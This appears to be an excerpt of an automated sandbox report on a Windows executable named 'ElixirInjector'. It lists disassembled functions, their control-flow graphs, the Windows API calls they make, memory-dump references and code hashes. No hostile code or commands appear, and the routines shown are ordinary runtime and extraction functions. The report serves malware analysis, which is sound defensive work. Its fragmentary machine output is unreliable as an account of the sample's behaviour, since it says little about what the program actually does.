f2d950-f2d961 GetExitCodeProcess 904->906 905->871 906->892 907 f2d963-f2d96d 906->907 908 f2d974 907->908 909 f2d96f 907->909 908->892 909->908
                                                                                              APIs
                                                                                              • _wcslen.LIBCMT ref: 00F2D7AE
                                                                                              • ShellExecuteExW.SHELL32(?), ref: 00F2D8DE
                                                                                              • ShowWindow.USER32(?,00000000), ref: 00F2D91D
                                                                                              • GetExitCodeProcess.KERNEL32(?,?), ref: 00F2D959
                                                                                              • CloseHandle.KERNEL32(?), ref: 00F2D97F
                                                                                              • ShowWindow.USER32(?,00000001), ref: 00F2D9E1
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
                                                                                              • String ID: .exe$.inf
                                                                                              • API String ID: 36480843-3750412487
                                                                                              • Opcode ID: dc87736288321e52ca0cf07cb51f6c08567c4885d5299b4026ab66f8857430f4
                                                                                              • Instruction ID: 2a6bda6a5f347f7857564b7f70de621b70eac9fd1342023727b706df4a73fefa
                                                                                              • Opcode Fuzzy Hash: dc87736288321e52ca0cf07cb51f6c08567c4885d5299b4026ab66f8857430f4
                                                                                              • Instruction Fuzzy Hash: C051E5718043A4AAEB309F24B844BAB7BE5AF85764F04041EF9C4971A1D7B5CDC4FB52
                                                                                              Function 00F3A95B Relevance: 9.2, APIs: 6, Instructions: 216COMMONLIBRARYCODE
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 910 f3a95b-f3a974 911 f3a976-f3a986 call f3ef4c 910->911 912 f3a98a-f3a98f 910->912 911->912 922 f3a988 911->922 913 f3a991-f3a999 912->913 914 f3a99c-f3a9c0 MultiByteToWideChar 912->914 913->914 916 f3ab53-f3ab66 call f2fbbc 914->916 917 f3a9c6-f3a9d2 914->917 919 f3aa26 917->919 920 f3a9d4-f3a9e5 917->920 926 f3aa28-f3aa2a 919->926 923 f3a9e7-f3a9f6 call f42010 920->923 924 f3aa04-f3aa15 call f38e06 920->924 922->912 930 f3ab48 923->930 937 f3a9fc-f3aa02 923->937 924->930 938 f3aa1b 924->938 929 f3aa30-f3aa43 MultiByteToWideChar 926->929 926->930 929->930 931 f3aa49-f3aa5b call f3af6c 929->931 932 f3ab4a-f3ab51 call f3abc3 930->932 939 f3aa60-f3aa64 931->939 932->916 941 f3aa21-f3aa24 937->941 938->941 939->930 942 f3aa6a-f3aa71 939->942 941->926 943 f3aa73-f3aa78 942->943 944 f3aaab-f3aab7 942->944 943->932 945 f3aa7e-f3aa80 943->945 946 f3ab03 944->946 947 f3aab9-f3aaca 944->947 945->930 948 f3aa86-f3aaa0 call f3af6c 945->948 949 f3ab05-f3ab07 946->949 950 f3aae5-f3aaf6 call f38e06 947->950 951 f3aacc-f3aadb call f42010 947->951 948->932 963 f3aaa6 948->963 954 f3ab41-f3ab47 call f3abc3 949->954 955 f3ab09-f3ab22 call f3af6c 949->955 950->954 962 f3aaf8 950->962 951->954 966 f3aadd-f3aae3 951->966 954->930 955->954 968 f3ab24-f3ab2b 955->968 967 f3aafe-f3ab01 962->967 963->930 966->967 967->949 969 f3ab67-f3ab6d 968->969 970 f3ab2d-f3ab2e 968->970 971 f3ab2f-f3ab3f WideCharToMultiByte 969->971 970->971 971->954 972 f3ab6f-f3ab76 call f3abc3 971->972 972->932
                                                                                              APIs
                                                                                              • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00F357FB,00F357FB,?,?,?,00F3ABAC,00000001,00000001,2DE85006), ref: 00F3A9B5
                                                                                              • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00F3ABAC,00000001,00000001,2DE85006,?,?,?), ref: 00F3AA3B
                                                                                              • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00F3AB35
                                                                                              • __freea.LIBCMT ref: 00F3AB42
                                                                                                • Part of subcall function 00F38E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00F34286,?,0000015D,?,?,?,?,00F35762,000000FF,00000000,?,?), ref: 00F38E38
                                                                                              • __freea.LIBCMT ref: 00F3AB4B
                                                                                              • __freea.LIBCMT ref: 00F3AB70
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                                                              • String ID:
                                                                                              • API String ID: 1414292761-0
                                                                                              • Opcode ID: d3b1826a8b1f92a4e684398a4e2b177e03350833bcb590123b4182d27b219513
                                                                                              • Instruction ID: 2b9a699e136fe62d2b7d1916482a4214ba4449c549bd0518b4e66b4f150faad6
                                                                                              • Opcode Fuzzy Hash: d3b1826a8b1f92a4e684398a4e2b177e03350833bcb590123b4182d27b219513
                                                                                              • Instruction Fuzzy Hash: FC51D472A10216AFDF258F66CC41FBBB7AAEB84770F154628FC44D6150EB38DC50E6A1
                                                                                              Function 00F33B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 975 f33b72-f33b7c 976 f33bee-f33bf1 975->976 977 f33bf3 976->977 978 f33b7e-f33b8c 976->978 979 f33bf5-f33bf9 977->979 980 f33b95-f33bb1 LoadLibraryExW 978->980 981 f33b8e-f33b91 978->981 984 f33bb3-f33bbc GetLastError 980->984 985 f33bfa-f33c00 980->985 982 f33b93 981->982 983 f33c09-f33c0b 981->983 987 f33beb 982->987 983->979 988 f33be6-f33be9 984->988 989 f33bbe-f33bd3 call f36088 984->989 985->983 986 f33c02-f33c03 FreeLibrary 985->986 986->983 987->976 988->987 989->988 992 f33bd5-f33be4 LoadLibraryExW 989->992 992->985 992->988
                                                                                              APIs
                                                                                              • FreeLibrary.KERNEL32(00000000,?,?,00F33C35,00000000,00000FA0,00F72088,00000000,?,00F33D60,00000004,InitializeCriticalSectionEx,00F46394,InitializeCriticalSectionEx,00000000), ref: 00F33C03
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: FreeLibrary
                                                                                              • String ID: api-ms-
                                                                                              • API String ID: 3664257935-2084034818
                                                                                              • Opcode ID: 1ce810a3474ba60c064102f885b0c7df1cd0c18bd2f62c4895f2f0c2d1a47c99
                                                                                              • Instruction ID: 28835f622f20b0be89ff486fb0e921a5395d76402a62668f717ffe82cae744a7
                                                                                              • Opcode Fuzzy Hash: 1ce810a3474ba60c064102f885b0c7df1cd0c18bd2f62c4895f2f0c2d1a47c99
                                                                                              • Instruction Fuzzy Hash: 2B11C636E45625ABCB22CB689C41B5DB7A49F52770F250210ED15FB290E770EF00A6D1
                                                                                              Function 00F198E0 Relevance: 7.6, APIs: 5, Instructions: 111filetimeCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 993 f198e0-f19901 call f2ec50 996 f19903-f19906 993->996 997 f1990c 993->997 996->997 998 f19908-f1990a 996->998 999 f1990e-f1991f 997->999 998->999 1000 f19921 999->1000 1001 f19927-f19931 999->1001 1000->1001 1002 f19933 1001->1002 1003 f19936-f19943 call f16edb 1001->1003 1002->1003 1006 f19945 1003->1006 1007 f1994b-f1996a CreateFileW 1003->1007 1006->1007 1008 f199bb-f199bf 1007->1008 1009 f1996c-f1998e GetLastError call f1bb03 1007->1009 1011 f199c3-f199c6 1008->1011 1014 f199c8-f199cd 1009->1014 1015 f19990-f199b3 CreateFileW GetLastError 1009->1015 1013 f199d9-f199de 1011->1013 1011->1014 1017 f199e0-f199e3 1013->1017 1018 f199ff-f19a10 1013->1018 1014->1013 1016 f199cf 1014->1016 1015->1011 1021 f199b5-f199b9 1015->1021 1016->1013 1017->1018 1022 f199e5-f199f9 SetFileTime 1017->1022 1019 f19a12-f19a2a call f20602 1018->1019 1020 f19a2e-f19a39 1018->1020 1019->1020 1021->1011 1022->1018
                                                                                              APIs
                                                                                              • CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00F17760,?,00000005,?,00000011), ref: 00F1995F
                                                                                              • GetLastError.KERNEL32(?,?,00F17760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00F1996C
                                                                                              • CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00F17760,?,00000005,?), ref: 00F199A2
                                                                                              • GetLastError.KERNEL32(?,?,00F17760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00F199AA
                                                                                              • SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00F17760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00F199F9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$CreateErrorLast$Time
                                                                                              • String ID:
                                                                                              • API String ID: 1999340476-0
                                                                                              • Opcode ID: b3dcdcb22e04ba46fb41384dac70bfe96cb66434342466df98cefadf5efa63ca
                                                                                              • Instruction ID: 00519baa711163102d6f3b7187949fa3625001d0740c2a1c3795e8888f872bf5
                                                                                              • Opcode Fuzzy Hash: b3dcdcb22e04ba46fb41384dac70bfe96cb66434342466df98cefadf5efa63ca
                                                                                              • Instruction Fuzzy Hash: 533123309483456FE7309F24CC46BDABBA8BB01334F200B1DF9A1961C0D3E5A984EBD1
                                                                                              Function 00F2B568 Relevance: 7.5, APIs: 5, Instructions: 38windowCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 1052 f2b568-f2b581 PeekMessageW 1053 f2b583-f2b597 GetMessageW 1052->1053 1054 f2b5bc-f2b5be 1052->1054 1055 f2b5a8-f2b5b6 TranslateMessage DispatchMessageW 1053->1055 1056 f2b599-f2b5a6 IsDialogMessageW 1053->1056 1055->1054 1056->1054 1056->1055
                                                                                              APIs
                                                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00F2B579
                                                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F2B58A
                                                                                              • IsDialogMessageW.USER32(000103D8,?), ref: 00F2B59E
                                                                                              • TranslateMessage.USER32(?), ref: 00F2B5AC
                                                                                              • DispatchMessageW.USER32(?), ref: 00F2B5B6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message$DialogDispatchPeekTranslate
                                                                                              • String ID:
                                                                                              • API String ID: 1266772231-0
                                                                                              • Opcode ID: fbfbf4fe227d9986c3edbbc62e12c6a359293bab96687f0c7cf3c98068d3f440
                                                                                              • Instruction ID: 0d19bfaa9615c34d5dc3360aa30a8e1e02315fb3c809c9c0db18405f9a09ff54
                                                                                              • Opcode Fuzzy Hash: fbfbf4fe227d9986c3edbbc62e12c6a359293bab96687f0c7cf3c98068d3f440
                                                                                              • Instruction Fuzzy Hash: 34F01D71E0122EBB8B209BE1AC4DDDB7FACEE053A57004424B909D2014EB34D646EBB1
                                                                                              Function 00F2ABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 1057 f2abab-f2abca GetClassNameW 1058 f2abf2-f2abf4 1057->1058 1059 f2abcc-f2abe1 call f21fbb 1057->1059 1060 f2abf6-f2abf9 SHAutoComplete 1058->1060 1061 f2abff-f2ac01 1058->1061 1064 f2abe3-f2abef FindWindowExW 1059->1064 1065 f2abf1 1059->1065 1060->1061 1064->1065 1065->1058
                                                                                              APIs
                                                                                              • GetClassNameW.USER32(?,?,00000050), ref: 00F2ABC2
                                                                                              • SHAutoComplete.SHLWAPI(?,00000010), ref: 00F2ABF9
                                                                                                • Part of subcall function 00F21FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00F1C116,00000000,.exe,?,?,00000800,?,?,?,00F28E3C), ref: 00F21FD1
                                                                                              • FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00F2ABE9
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AutoClassCompareCompleteFindNameStringWindow
                                                                                              • String ID: EDIT
                                                                                              • API String ID: 4243998846-3080729518
                                                                                              • Opcode ID: 46f14dbc4cc95f2e84370a2b3c1c7aeb77d9d1a6487c6e41496cf27be7989524
                                                                                              • Instruction ID: 4861cd5141d88be630957d10946514ba890981dce5558160fd9d7fba218f2b02
                                                                                              • Opcode Fuzzy Hash: 46f14dbc4cc95f2e84370a2b3c1c7aeb77d9d1a6487c6e41496cf27be7989524
                                                                                              • Instruction Fuzzy Hash: 42F08232A0023877DB306624AC09F9B766C9B86B50F484011BA05F2180D764EA85E5B6
                                                                                              Function 00F2AC16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34comCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                                • Part of subcall function 00F2081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00F20836
                                                                                                • Part of subcall function 00F2081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00F1F2D8,Crypt32.dll,00000000,00F1F35C,?,?,00F1F33E,?,?,?), ref: 00F20858
                                                                                              • OleInitialize.OLE32(00000000), ref: 00F2AC2F
                                                                                              • GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00F2AC66
                                                                                              • SHGetMalloc.SHELL32(00F58438), ref: 00F2AC70
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
                                                                                              • String ID: riched20.dll
                                                                                              • API String ID: 3498096277-3360196438
                                                                                              • Opcode ID: 98ffd6257ca40bb0606ccfab4ea4e6f70180407a27cc76af8c8f5a6d5895ec46
                                                                                              • Instruction ID: e2fdffeafe502a297e5aac5fa7615e6389161d710e6c4345df830414d057ebda
                                                                                              • Opcode Fuzzy Hash: 98ffd6257ca40bb0606ccfab4ea4e6f70180407a27cc76af8c8f5a6d5895ec46
                                                                                              • Instruction Fuzzy Hash: 2DF0FFB1D00219ABCB10AFA9DC499DFFFFCEF84705F00415AA815A2241DBB45645ABA2
                                                                                              Function 00F19785 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 1070 f19785-f19791 1071 f19793-f1979b GetStdHandle 1070->1071 1072 f1979e-f197b5 ReadFile 1070->1072 1071->1072 1073 f19811 1072->1073 1074 f197b7-f197c0 call f198bc 1072->1074 1075 f19814-f19817 1073->1075 1078 f197c2-f197ca 1074->1078 1079 f197d9-f197dd 1074->1079 1078->1079 1080 f197cc 1078->1080 1081 f197df-f197e8 GetLastError 1079->1081 1082 f197ee-f197f2 1079->1082 1083 f197cd-f197d7 call f19785 1080->1083 1081->1082 1084 f197ea-f197ec 1081->1084 1085 f197f4-f197fc 1082->1085 1086 f1980c-f1980f 1082->1086 1083->1075 1084->1075 1085->1086 1088 f197fe-f19807 GetLastError 1085->1088 1086->1075 1088->1086 1090 f19809-f1980a 1088->1090 1090->1083
                                                                                              APIs
                                                                                              • GetStdHandle.KERNEL32(000000F6), ref: 00F19795
                                                                                              • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00F197AD
                                                                                              • GetLastError.KERNEL32 ref: 00F197DF
                                                                                              • GetLastError.KERNEL32 ref: 00F197FE
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLast$FileHandleRead
                                                                                              • String ID:
                                                                                              • API String ID: 2244327787-0
                                                                                              • Opcode ID: 891f5515eec7f371cb5da096d5ea450252918dc41c8b2af64f3a3da6b4f25ba2
                                                                                              • Instruction ID: 7171770d8ac1b8db4f6b91d75286c3bcde96aa4b5eb3a2a7af875524fda30e87
                                                                                              • Opcode Fuzzy Hash: 891f5515eec7f371cb5da096d5ea450252918dc41c8b2af64f3a3da6b4f25ba2
                                                                                              • Instruction Fuzzy Hash: 4311A035D18204EBCF205F28C8146E937A9BF12734F108A29E816851D0D7F59EC4FBE1
                                                                                              Function 00F3AD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 1091 f3ad34-f3ad48 1092 f3ad55-f3ad70 LoadLibraryExW 1091->1092 1093 f3ad4a-f3ad53 1091->1093 1095 f3ad72-f3ad7b GetLastError 1092->1095 1096 f3ad99-f3ad9f 1092->1096 1094 f3adac-f3adae 1093->1094 1097 f3ad8a 1095->1097 1098 f3ad7d-f3ad88 LoadLibraryExW 1095->1098 1099 f3ada1-f3ada2 FreeLibrary 1096->1099 1100 f3ada8 1096->1100 1101 f3ad8c-f3ad8e 1097->1101 1098->1101 1099->1100 1102 f3adaa-f3adab 1100->1102 1101->1096 1103 f3ad90-f3ad97 1101->1103 1102->1094 1103->1102
                                                                                              APIs
                                                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00F340EF,00000000,00000000,?,00F3ACDB,00F340EF,00000000,00000000,00000000,?,00F3AED8,00000006,FlsSetValue), ref: 00F3AD66
                                                                                              • GetLastError.KERNEL32(?,00F3ACDB,00F340EF,00000000,00000000,00000000,?,00F3AED8,00000006,FlsSetValue,00F47970,FlsSetValue,00000000,00000364,?,00F398B7), ref: 00F3AD72
                                                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00F3ACDB,00F340EF,00000000,00000000,00000000,?,00F3AED8,00000006,FlsSetValue,00F47970,FlsSetValue,00000000), ref: 00F3AD80
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: LibraryLoad$ErrorLast
                                                                                              • String ID:
                                                                                              • API String ID: 3177248105-0
                                                                                              • Opcode ID: 721b208d3c070e6d20a2c5a697c4580a5616ca79f761f0f19c94bbc59f1c3759
                                                                                              • Instruction ID: da0761ae11c790cdc387a76a20628a8b32e3339e9f99691ed5c3ed1f30330ee7
                                                                                              • Opcode Fuzzy Hash: 721b208d3c070e6d20a2c5a697c4580a5616ca79f761f0f19c94bbc59f1c3759
                                                                                              • Instruction Fuzzy Hash: BD01F73A60122AABC7214B6A9C48A577BA8EF167B2F110724FD46D3650D720D901A6E1
                                                                                              Function 00F2101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • CreateThread.KERNELBASE(00000000,00010000,Function_00011160,?,00000000,00000000), ref: 00F21043
                                                                                              • SetThreadPriority.KERNEL32(?,00000000), ref: 00F2108A
                                                                                                • Part of subcall function 00F16C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F16C54
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Thread$CreatePriority__vswprintf_c_l
                                                                                              • String ID: CreateThread failed
                                                                                              • API String ID: 2655393344-3849766595
                                                                                              • Opcode ID: 482eab48c5db1a82e85ce433fe0d8f80cb0cbe2cf929e520d86935cc198f6e62
                                                                                              • Instruction ID: 05fcc7be24c72cefa9b2451e1a9ffb1891e67c67e9ee1b02e65726c3ccfe231a
                                                                                              • Opcode Fuzzy Hash: 482eab48c5db1a82e85ce433fe0d8f80cb0cbe2cf929e520d86935cc198f6e62
                                                                                              • Instruction Fuzzy Hash: C3014E753003196FD3349F64BC41F767358FB51752F20002DFA42921C0CAA0B8C57324
                                                                                              Function 00F19F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetStdHandle.KERNEL32(000000F5,?,?,?,?,00F1D343,00000001,?,?,?,00000000,00F2551D,?,?,?), ref: 00F19F9E
